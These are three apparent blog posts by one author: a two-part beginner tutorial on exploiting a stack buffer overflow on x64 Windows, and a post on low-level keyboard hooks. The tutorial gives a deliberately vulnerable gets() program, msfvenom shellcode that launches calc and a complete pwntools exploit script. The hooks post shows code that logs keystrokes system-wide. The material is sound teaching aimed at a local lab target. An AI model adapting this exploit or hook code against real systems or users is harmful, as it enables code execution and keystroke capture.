Forem: Mirrai

Buffer Overflows on x64 Windows: A Practical Beginners Guide (Part 2): Exploitation

Mirrai — Wed, 01 Apr 2026 19:55:52 +0000

Introduction

Welcome back. Mirrai here. In part 1 we covered the theory. The stack, RIP, and what a buffer overflow actually is. Now we get our hands dirty. By the end of this guide you should have a working exploit that gives you control of RIP and redirects execution to your own code.
Before we start, make sure you have x64dbg and pwntools installed from part 1. You'll also need the vulnerable program we wrote. If you haven't read part 1, go do that first. Buckle up, this might take a while.

For your convenience, here's the old vuln program code

#include <stdio.h>
#include <windows.h>

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   DWORD old_protect;
   char username[500] = {0};

   VirtualProtect(username, 500, PAGE_EXECUTE_READWRITE, &old_protect);

   printf("What is your username?: ");
   gets(username);
   printf("%s %s\n", "Hello", username);
}

Compilation

Before we can exploit anything we need to compile our vulnerable program with protections disabled. To be clear, buffer overflows are the first step to learn in binary exploitation and even then, they can be complicated even without protections lol. But trust me it gets easier from here.

Now, compile with these arguments from wherever you want:
gcc vuln.c -o vuln.exe -fno-stack-protector -no-pie

-fno-stack-protector disables stack canaries. stack canaries work by placing random values between your buffer and the return address that terminate the program if modified. Fun fact, miners went to caves with canaries and if the bird died it meant the cave was unsafe. Same logic here. -no-pie disables position independent executables so the binary loads at a consistent address every run, which makes our life significantly easier.

Loading the exe with x64dbg

Open x64dbg and just drag and drop the exe into it. You should see a screen like this.

The labeled buttons are what you'll use most. The first runs the program until a breakpoint is hit. The second steps through one instruction at a time and follows into function calls. The third does the same but steps over calls without entering them.

Finding Main

Now that we are in the debugger we need to find our program main function. You might think that this is were are starting from but no. When you run a program, the OS loader does some setup before your program is run so we need to know the difference between this initialisation code and the main code.

Method 1: String search

Since we know string we used in our program we can just find were it shows up in the instructions list and find main that way. Press Shift + D to open a window to search for your program's strings.

Here, if we double click on any of the string we used like "Hello", "what is your username?: ", "%s %s\n" we will end up in main.

Method 2: Exit function (Gcc/Clang specific)

While researching i found that if your using the c runtime that the function call before the exit function is your main. This seems to be the way the gcc compiler arranges it and it will probably be different in MSVC.

In the image above, main is the call before the exit function.

Generating the Cyclic Pattern

It's time to switch to python. create a python file with this code

from pwn import *
pattern = cyclic(600)
print(pattern)

This creates a pattern that will overwrite the return address. Store this, you are gonna need it later. Depending on what overwrote the return address we can find the distance or offset from the buffer start address to the return address. Why do we need the offset you may ask? Because we need to overwrite enough data to get to the start of the memory address that contains the ret address so we can replace it with the start of our buffer. Doing so will change RIP to the buffer start address and execute whatever was written there when ret is executed.

Finding the return address

How do we actually find the return address? if you used method 2 to find main the return address is the instruction next to the main function call lol. if you used method 1 do not fret, set a breakpoint (F2) at the start of main (the push rbp instruction) then restart the program with the Ctrl + F2 then run till it stops at the break point. The return address is the function at the very bottom of your stack allocation (remember stack grows down).

Btw that number (one in my case) above the return address(in value of the address) are the number of arguments that your program has. I recommend you read further on the full stack layout such as RBP but we don't need those to do this tutorial.

Overwriting the return address

Make a breakpoint at the instruction after the gets call. Now return to your cmd program that has been chilling at the background for a while then copy paste the pattern you got from pwntools and keep a note on what memory address the ret address is on. press enter and you should see the ret address has been overwritten.

If the program crashes before breakpoint after gets try to reduce the size of the cyclic() pattern

Here you can see the pattern 6661616B6661616A. now I will process this value in pwntools:

print(cyclic_find(0x6661616B6661616A))

I got 536 although your number may differ depending on your environment and compiler.

Getting the Shellcode

We need shellcode to execute once we control RIP. We'll use msfvenom to generate a payload that launches calc.exe.

msfvenom -p windows/x64/exec CMD=calc.exe -b "\x0a\x0d" -f python

The -b "\x0a\x0d" flag tells msfvenom to avoid generating bytes that gets() would interpret as line endings and stop reading early. \x0a is newline and \x0d is carriage return both of which would terminate input before the full payload is written. These are called bad chars, characters the input function won't read past. Typically null (0x0) is also a bad char but gets() reads it fine.

Here's the full output:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 319 (iteration=0)
x64/xor chosen with final size 319
Payload size: 319 bytes
Final size of python file: 1584 bytes
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x4d\x13\x13\x90\xd8"
buf += b"\xc5\xbe\x60\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xb1\x5b\x90\x74\x28\x2d\x7e\x60\x4d"
buf += b"\x13\x52\xc1\x99\x95\xec\x31\x1b\x5b\x22\x42\xbd"
buf += b"\x8d\x35\x32\x2d\x5b\x98\xc2\xc0\x8d\x35\x32\x6d"
buf += b"\x5b\x98\xe2\x88\x8d\xb1\xd7\x07\x59\x5e\xa1\x11"
buf += b"\x8d\x8f\xa0\xe1\x2f\x72\xec\xda\xe9\x9e\x21\x8c"
buf += b"\xda\x1e\xd1\xd9\x04\x5c\x8d\x1f\x52\x42\xd8\x53"
buf += b"\x97\x9e\xeb\x0f\x2f\x5b\x91\x08\x4e\x3e\xe8\x4d"
buf += b"\x13\x13\xd8\x5d\x05\xca\x07\x05\x12\xc3\xc0\x53"
buf += b"\x8d\xa6\x24\xc6\x53\x33\xd9\xd9\x15\x5d\x36\x05"
buf += b"\xec\xda\xd1\x53\xf1\x36\x28\x4c\xc5\x5e\xa1\x11"
buf += b"\x8d\x8f\xa0\xe1\x52\xd2\x59\xd5\x84\xbf\xa1\x75"
buf += b"\xf3\x66\x61\x94\xc6\xf2\x44\x45\x56\x2a\x41\xad"
buf += b"\x1d\xe6\x24\xc6\x53\x37\xd9\xd9\x15\xd8\x21\xc6"
buf += b"\x1f\x5b\xd4\x53\x85\xa2\x29\x4c\xc3\x52\x1b\xdc"
buf += b"\x4d\xf6\x61\x9d\x52\x4b\xd1\x80\x9b\xe7\x3a\x0c"
buf += b"\x4b\x52\xc9\x99\x9f\xf6\xe3\xa1\x33\x52\xc2\x27"
buf += b"\x25\xe6\x21\x14\x49\x5b\x1b\xca\x2c\xe9\x9f\xb2"
buf += b"\xec\x4e\xd8\x62\xc4\xbe\x60\x4d\x13\x13\x90\xd8"
buf += b"\x8d\x33\xed\x4c\x12\x13\x90\x99\x7f\x8f\xeb\x22"
buf += b"\x94\xec\x45\x63\x35\x0b\xc2\x1b\x52\xa9\x36\x4d"
buf += b"\x78\x23\x9f\x98\x5b\x90\x54\xf0\xf9\xb8\x1c\x47"
buf += b"\x93\xe8\x70\xad\xc0\x05\x27\x5e\x61\x7c\xfa\xd8"
buf += b"\x9c\xff\xe9\x97\xec\xc6\xf3\xb9\xa9\xdd\x4e\x28"
buf += b"\x6b\x76\x90\xd8\xc5\xbe\x60"

Calculating the Buffer Start Address

We need to know where in memory our username buffer starts so we can point RIP at it.

Take the memory address of the return address location not the value stored there then subtract it by the offset to get the buffer starting address. In my case it's 0x00000000005FFC80 because 0x00000000005FFE98 - 536 = 0x00000000005FFC80.

buffer_start = return_address_location - offset

The Exploitation Code

Before running: Replace buffer_size and ret_addr, and the buf shellcode with your own values. The addresses in this script are specific to my machine and will not work on yours. Use the offset and buffer start address you calculated in the previous steps.

from pwn import *

vuln_bin = "vuln.exe"
stack_adj = b"\x48\x81\xec\x00\x04\x00\x00"
current_dir = os.path.dirname(__file__)

vuln_bin_path = os.path.join(current_dir, vuln_bin)

nop = b"\x90"
buffer_size = 536

ret_addr = p64(0x00000000005FFC80)

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x4d\x13\x13\x90\xd8"
buf += b"\xc5\xbe\x60\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xb1\x5b\x90\x74\x28\x2d\x7e\x60\x4d"
buf += b"\x13\x52\xc1\x99\x95\xec\x31\x1b\x5b\x22\x42\xbd"
buf += b"\x8d\x35\x32\x2d\x5b\x98\xc2\xc0\x8d\x35\x32\x6d"
buf += b"\x5b\x98\xe2\x88\x8d\xb1\xd7\x07\x59\x5e\xa1\x11"
buf += b"\x8d\x8f\xa0\xe1\x2f\x72\xec\xda\xe9\x9e\x21\x8c"
buf += b"\xda\x1e\xd1\xd9\x04\x5c\x8d\x1f\x52\x42\xd8\x53"
buf += b"\x97\x9e\xeb\x0f\x2f\x5b\x91\x08\x4e\x3e\xe8\x4d"
buf += b"\x13\x13\xd8\x5d\x05\xca\x07\x05\x12\xc3\xc0\x53"
buf += b"\x8d\xa6\x24\xc6\x53\x33\xd9\xd9\x15\x5d\x36\x05"
buf += b"\xec\xda\xd1\x53\xf1\x36\x28\x4c\xc5\x5e\xa1\x11"
buf += b"\x8d\x8f\xa0\xe1\x52\xd2\x59\xd5\x84\xbf\xa1\x75"
buf += b"\xf3\x66\x61\x94\xc6\xf2\x44\x45\x56\x2a\x41\xad"
buf += b"\x1d\xe6\x24\xc6\x53\x37\xd9\xd9\x15\xd8\x21\xc6"
buf += b"\x1f\x5b\xd4\x53\x85\xa2\x29\x4c\xc3\x52\x1b\xdc"
buf += b"\x4d\xf6\x61\x9d\x52\x4b\xd1\x80\x9b\xe7\x3a\x0c"
buf += b"\x4b\x52\xc9\x99\x9f\xf6\xe3\xa1\x33\x52\xc2\x27"
buf += b"\x25\xe6\x21\x14\x49\x5b\x1b\xca\x2c\xe9\x9f\xb2"
buf += b"\xec\x4e\xd8\x62\xc4\xbe\x60\x4d\x13\x13\x90\xd8"
buf += b"\x8d\x33\xed\x4c\x12\x13\x90\x99\x7f\x8f\xeb\x22"
buf += b"\x94\xec\x45\x63\x35\x0b\xc2\x1b\x52\xa9\x36\x4d"
buf += b"\x78\x23\x9f\x98\x5b\x90\x54\xf0\xf9\xb8\x1c\x47"
buf += b"\x93\xe8\x70\xad\xc0\x05\x27\x5e\x61\x7c\xfa\xd8"
buf += b"\x9c\xff\xe9\x97\xec\xc6\xf3\xb9\xa9\xdd\x4e\x28"
buf += b"\x6b\x76\x90\xd8\xc5\xbe\x60"

payload = stack_adj + buf + nop * (buffer_size - len(buf) - len(stack_adj))  + ret_addr

p = process([vuln_bin_path])

input("debug pause press enter: ")

p.sendlineafter(b"What is your username?: ", payload)

p.wait()

Here's what this payload does in a high level:

stack_adj is the assembly instruction sub rsp, 0x400 encoded as raw bytes. When main returns, RSP moves above our shellcode. If any function called by the shellcode allocates stack space it could overwrite our own code mid-execution. This stack adjustment pushes RSP safely below the shellcode before anything runs, giving it clean stack space to work with.
The shellcode follows immediately after the adjustment.
NOP bytes (\x90) pad the remaining space between the end of the shellcode and the return address. NOPs do nothing — they slide execution forward until it hits the shellcode. They also give us a landing cushion in case our buffer address calculation is slightly off.
Finally ret_addr overwrites the saved return address with the start of our buffer. When main returns RIP loads this value and execution jumps to our stack adjustment followed by the shellcode.
If everything worked you'll see calc.exe pop open. If not it's time to debug. I put input("debug pause press enter: ") for a reason lol. When you run the script And get to that prompt, press alt+a to attach to your program. When attached press enter. Ideally you set a breakpoint after gets has run then you can examine the stack and the return address to see what's going on.

Btw I uploaded all files I used for this tutorial on my GitHub. Check it here

The End

That's a complete stack buffer overflow exploit on x64 Windows with protections disabled. We found the offset, controlled RIP, and redirected execution to shellcode we controlled.

Don't feel bad if it took a few tries to get working. It took me a few too lol. The pieces click once you see the whole chain working end to end.

Future parts, if I decide to make them, will cover the mitigations we removed here such as stack canaries, ASLR, and DEP and techniques to bypass them. Bye for now and feel free to ask any questions if your stuck somewhere. I'm always willing to help.

Buffer Overflows on x64 Windows: A Practical Beginners Guide (Part 1): Setting up

Mirrai — Fri, 27 Mar 2026 22:31:11 +0000

Introduction

Hello everyone. Mirrai here. I've been wanting to make this tutorial for a while because i feel guides on windows exploitation are hard to come across (especially x64) so i finally decided to start. This guide will walk you through the fundamentals of stack-based buffer overflows on x64 Windows, what they are, why they work, and how to set up your environment to start exploring them yourself.
By the end of part 1 you'll understand the stack, what RIP is and why controlling it allows arbitrary code execution and you'll have a vulnerable program ready to analyze. Part 2 will cover the actual, practical exploitation.

x86 vs. x64

If you’ve ever looked at older tutorials, you’ve probably seen a lot of talk about x86 (32-bit) exploitation. While the logic is similar, jumping to x64 (64-bit) feels like moving from an elevator to a warehouse. Everything is bigger and it will affect certain exploits later down the road.

In x86, your registers were 32 bits wide. In x64, they’ve doubled to 64 bits. This means every address you overwrite on the stack now needs to be 8 bytes long instead of 4. Certain registers such as EIP and ESP in x86 are now RIP and RSP in x64 as well.

x86 stack
0060F94C  00000000  
0060F950  00000000  

x64 stack
0000005189CFF0B0  0000000000000000  
0000005189CFF0B8  0000000000000000

The Stack

Lets begin with the most basic and arguably hardest to understand part, the stack. When a program runs, it needs somewhere to temporarily store data, local variables, function arguments and return addresses. That place is the stack. Think of it as a pile of plates, uhh kinda. you add to the top and remove from the top. In x64 Windows, the stack grows downward in memory, meaning each new piece of data gets placed at a lower memory address than the previous one.

Random stack space
0000005189CFF908  0000000000000000  
0000005189CFF910  0000000000000000  
0000005189CFF918  0000000000000000  
0000005189CFF920  0000000000000000  
0000005189CFF928  0000000000000000  
0000005189CFF930  0000000000000000  
0000005189CFF938  0000000000000000  
0000005189CFF940  0000000000000000

This is the stack memory from a random program i just ran. 0000005189CFF908 is the lowest section in this stack so if you need to store more data you do something like sub, rsp, 32 in ASM to allocate more below it such as 0000005189CFF900 and so on but I'm getting ahead of myself.

When a function is called, the program pushes a return address onto the stack. This is the memory address it should go back to when the function finishes.

What is RIP?

RIP is the instruction pointer register on x64 systems. It holds the address of the next instruction the CPU will execute. When a function returns, the value saved on the stack as the return address gets loaded into RIP. Wherever RIP points, execution follows.
Control RIP, control the program.

Say this is a function


00007FF6EB70139 | 48:83C4 28             | add rsp,28                                 
00007FF6EB70139 | C3                     | ret

when ret is run the RIP changes to what rsp is pointed to.

RSP --> 0000005189CFF908  00007FF4EB801341  
        0000005189CFF910  0000000000000000

If rsp is at 0000005189CFF908 then rip will change to and continue from there.

What is a Buffer Overflow?
A buffer is a fixed-size chunk of memory allocated for storing data. A buffer overflow happens when a program writes more data into a buffer than it was designed to hold, and that excess data spills into adjacent memory.
On the stack, that adjacent memory includes the saved return address. If you overflow far enough to overwrite the return address with a value you control, you control where execution goes when the function returns. That's the primitive.

Take this for example.

0000005189CFF810  0000000000000000  
0000005189CFF818  0000000000000000  
0000005189CFF820  0000000000000000  
0000005189CFF828  0000000000000000  
0000005189CFF830  0000000000000000  
0000005189CFF838  0000000000000000  
0000005189CFF840  0000000000000000  
0000005189CFF848  0000000000000000  
0000005189CFF850  0000000000000000  
0000005189CFF858  0000000000000000  
0000005189CFF860  00007FF6EF40131A

Say i made this with

char buffer[80] = {0}; and that 0000005189CFF860 is our function's ret address.

If i write an "A" to this code using strcpy or whatever, I get:

0000005189CFF810  0000000000000041  
0000005189CFF818  0000000000000000  
0000005189CFF820  0000000000000000  
0000005189CFF828  0000000000000000  
0000005189CFF830  0000000000000000  
0000005189CFF838  0000000000000000  
0000005189CFF840  0000000000000000  
0000005189CFF848  0000000000000000  
0000005189CFF850  0000000000000000  
0000005189CFF858  0000000000000000  
0000005189CFF860  00007FF6EF40131A

41 is "A" in hex btw and remember, the stack grows "down" (toward lower addresses) when you add more space to the stack but Buffers (like arrays) fill "up" (toward higher addresses). This is why the "A" is at 0000005189CFF810 but as we write more "A"s to this buffer, we will climb upward to 0000005189CFF860.

The goal is to overwrite 0000005189CFF860 so we need to write 88 "A"s. when I do that I get:

0000005189CFF810  4141414141414141  
0000005189CFF818  4141414141414141 
0000005189CFF820  4141414141414141  
0000005189CFF828  4141414141414141  
0000005189CFF830  4141414141414141  
0000005189CFF838  4141414141414141  
0000005189CFF840  4141414141414141  
0000005189CFF848  4141414141414141  
0000005189CFF850  4141414141414141  
0000005189CFF858  4141414141414141  
0000005189CFF860  4141414141414141

Here we overwrote the ret address with "A"s which will crash the program because 4141414141414141 is not a real address that exists lol, but if we replace the value at 0000005189CFF860 with any other address we can control the RIP and run any code we want. Pretty cool right? Admittedly an actual function is a bit different to this but not by much. We will get there in the exploitation part.

Environment Setup

Now that we know the theory let's practice it. You'll need the following tools before proceeding:
x64dbg: A free, open source debugger for Windows. Download it at x64dbg.com. This is what you'll use to inspect memory, set breakpoints, and observe the overflow in action.

pwntools: A Python library for exploit development. Install it with:

pip install pwntools

Useful for scripting your exploit once you understand the mechanics manually.

A basic Python installation and a C compiler for building the vulnerable program round out the setup. I recommend winlibs for the gcc compiler plus MinGW-w64 with or without clang. You can get python here

The Vulnerable Program

The program we'll be exploiting is a simple C application with a classic stack vulnerability.

#include <stdio.h>
#include <windows.h>

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   DWORD old_protect;
   char username[500] = {0};

   VirtualProtect(username, 500, PAGE_EXECUTE_READWRITE, &old_protect);

   printf("What is your username?: ");
   gets(username);
   printf("%s %s\n", "Hello", username);
}

This program just greets you. How cute! Lets break it!

gets() is our entry point because it lacks bounds checking and will not stop if the data to be written is more than what the buffer can take. This is why it is advised to use fgets instead.

By the way, we will handle compilation and the arguments to pass to the compiler to disable certain protections like aslr, dep, stack canaries etc in part two. I might cover tutorials for getting around them sometime in the future.

PS: So initially the idea was to use a flag in compilation and then exclude it in windows security to disable DEP but while writing part two it seems this is more of a problem than it's worth lol. To make things easier for both of us I changed the vulnerable code to use VirtualProtect to stimulate no DEP. The outcome is the same. I made the buffer bigger as well. The setvbuf is for pwntools to see the output properly.

What's Next

In part two we'll fire up x64dbg and pwntools, attach it to the vulnerable program, find the offset needed to control RIP, and build a working exploit.

See you all in part Two and of course if you have any questions feel free to ask.

Windows Hooks Are Weird

Mirrai — Fri, 26 Dec 2025 13:57:30 +0000

The other day I decided to learn keyboard hooks because I was working on a small project to read key inputs. After some brainstorming and losing my mind, I came up with this.

Hook program
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;

            unsigned char keyboard_state[256];
            wchar_t unicodeData[5] = {0};
            GetKeyboardState(keyboard_state);

            int unicodeKey = ToUnicodeEx(kb->vkCode, kb->scanCode, keyboard_state,
                                         unicodeData, sizeof(unicodeData) / sizeof(wchar_t),
                                         0, NULL);

            if (unicodeKey > 0) {
                printf("%ls", unicodeData);
            }

        if (kb->vkCode == VK_RETURN) {
            printf("\n");
        }
    }
    return CallNextHookEx(hook, nCode, wParam, lParam);
}

int main() {
    hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {

    }
}

Not too shabby I’d say.

The Problem

While having a bit of fun, I found my caps locks or shift didn’t register on the printed key logs. I was baffled and did anything a self-respectable programmer would do. Go to Google. I came across this page
https://stackoverflow.com/questions/37142779/getkeyboardstate-cant-detect-while-i-am-pressing-the-key

A comment said
“GetKeyboardState() returns the synchronous state of the keyboard, the one it had when the OS last processed an input event for your process. Which ensures that stuff like modifier and dead keys have the correct state. That will not work when you don't pump a message loop yourself, the state won't get updated at all. Common issue with C++ programs, their runtime library doesn't know yet that teletypes and terminals are obsolete. You then have to use GetAsyncKeyState()”

The Solution That Raised More Questions

I followed their advice and did:

short caps_held = GetKeyState(VK_CAPITAL) & 0x0001;
short shift_held = GetKeyState(VK_SHIFT) & 0x8000;

if (caps_held) {
    keyboard_state[VK_CAPITAL] |= 0x01;

} else {
    keyboard_state[VK_CAPITAL] &= ~0x01;
}

if (shift_held) {
    keyboard_state[VK_SHIFT] |= 0x80;

} else {
    keyboard_state[VK_SHIFT] &= ~0x80;
}

Btw, I know I said I was supposed to use GetAsyncKeyState but being the rebel I am, I used GetKeyState because it worked so why not I thought. Keep this in mind for later.

And sure enough, the caps and shift keys were fixed but I had a new problem, Ctrl. When I pressed Ctrl + any key really, I got weird characters. With Ctrl + c in particular I got ♥. This didn’t happen before so I set out to find why. I found that Ctrl + c in keyboard_state would give me a value of 3 in unicodeData[0] which is a control character that gets represented as ♥. So what I did was

keyboard_state[VK_CONTROL] &= ~0x80;

Problem solved… or is it?

The Weird Discovery

Remember that GetKeyboardState doesn’t work in an app that doesn’t update its message loop so what on earth is going on here? The answer: GetKeyState. For whatever reason, if you call GetKeyState inside of the callback function, it gets the previous state of the key. That is, the state the state your key was in before your function is called. In doing so it does something that causes GetKeyboardState to actually update. I found simply doing GetKeyState(0) removed the need for that caps and shift conditional I showed before. GetAsyncKeyState(0) doesn’t do this however. Is this intentional i wondered?

The Research

Upon further reading I came across an article about GetAsyncKeyState and GetKeyState written in 2004 by Raymond Chen (The legend himself).
https://devblogs.microsoft.com/oldnewthing/20041130-00/?p=37173

An excerpt he wrote:
“ I’ve seen some confusion over the difference between the GetKeyState function and the GetAsyncKeyState function.
GetKeyState returns the virtual key state. In other words, GetKeyState reports the state of the keyboard based on the messages you have retrieved from your input queue. This is not the same as the physical keyboard state:
• If the user has typed ahead, GetKeyState doesn’t report those changes until you use the PeekMessage function or the GetMessage function to retrieve the message from your input queue.
• If the user has switched to another program, then the GetKeyState function will not see the input that the user typed into that other program, since that input was not sent to your input queue.
When should you use GetKeyState and when should you use GetAsyncKeyState?
“

However, I have some issues with this explanation. One, when he said it returns keys “based on the messages you have retrieved from your input queue” but i have to ask, what input queue exactly?

The MSDN website wrote on this same function. “The key status returned from this function changes as a thread reads key messages from its message queue.”

https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeystate

So, I believe making the assumption that the input and message queue are the same is fair, but this doesn’t make sense because GetKeyboardState gets values based on the message queue state and in my low-level hook this message queue doesn't get pumped. How can this be? Because if the input and message queue are the same, then why didn’t GetKeyboardState work from the get go? Are these Queues different or the same? It’s unclear in the documentation.

This is speculative but I think that GetKeyboardState and GetKeyState reads from different queues or states and GetKeyState syncs whatever state GetKeyboardState reads from.

// Simple program
I decided to test GetKeyState myself with a simple function
int main() {
`while (true) {
     short ctrlPressed = GetKeyState('A');
   printf("%d\n", ctrlPressed & 0x8000);
}
}

When I pressed “a” it showed 32768 even tho this program doesn’t seem to interact with a message queue at all. If we take Chen’s and MSDN's words directly, this implies that every windows app has a message queue which could be the case, but where is GetKeyState reading from?

Going back to GetKeyState msdn documentation “The key status returned from this function changes as a thread reads key messages from its message queue”

The key status changes when a thread reads key messages from its message queue but my simple program doesn't read from it's message queue neither does my hook program as far as I'm aware so something's not right.

Looking at the GetKeyboardState documentation in msdn.

https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate

“An application can call this function to retrieve the current status of all the virtual keys. The status changes as a thread removes keyboard messages from its message queue. The status does not change as keyboard messages are posted to the thread's message queue, nor does it change as keyboard messages are posted to or retrieved from message queues of other threads.”

If we take MSDN's words at complete face value, then logically, this means that GetKeyState removes keyboard messages and processes a queue before getting the key which would explain why my simple program worked. This is a loaded assumption and don't believe this is the case.

Chen also stated that:
“If the user has switched to another program, then the GetKeyState function will not see the input that the user typed into that other program, since that input was not sent to your input queue.“

Considering the simple program captures all inputs this doesn’t add up either. I believe this is describing non-level hooks which capture when their window is in focus. However, GetKeyState works in my simple program that doesn't use any hooks. So this is fascinating.

The only way I can explain this inconsistency is either Chen’s and MSDN's post is oversimplified, outdated or this undocumented functionality. Considering Chen's post was 20+ years ago, it could be all three but I honestly don’t know.

The Conclusion

After this rabbit hole I fell into, I can say for sure that GetKeyState(0) refreshes whatever GetKeyboardState is reading from, although the “why” is uncertain. This worked on the the version of win 10 and 11 I have but i haven't tested on windows 7. I have no idea if this will ever change later so BEWARE.

Of course you could also try to create the state of key with the hook itself.

else if (nCode == HC_ACTION && wParam == WM_KEYUP) {
    KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;

    if (kb->vkCode == VK_LSHIFT || kb->vkCode == VK_RSHIFT) {
        shiftHeld = false;
        printf("%s\n", "Shift released");
    }
}

This is valid too and is more fine tuned. I hope this article helps anyone who uses these hooks and of course, if I'm wrong about anything or you understand why happens please leave a comment or reach out to me I'm always available and I do want to understand what’s going on. Still next time.

P.S. When using GetKeyState by itself or paired with GetKeyboardState within a low-level keyboard hook, there's a one-event or one-key delay in the key status or keyboard state buffer. For example, when pressing Ctrl+C:

The Ctrl-down event shows Ctrl as pressed, but GetKeyboardState doesn't reflect this yet.
The C-down event shows C as pressed, but now GetKeyboardState shows Ctrl (from the previous event).

Btw, GetAsyncKeyState has this delay as well. This is actually documented by MSDN.

"Note When this callback function is called in response to a change in the state of a key, the callback function is called before the asynchronous state of the key is updated. Consequently, the asynchronous state of the key cannot be determined by calling GetAsyncKeyState from within the callback function."

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85)

But wait. If i got that right, doesn't that mean that GetKeyState is giving us the asynchronous state? lol the rabbit hole continues.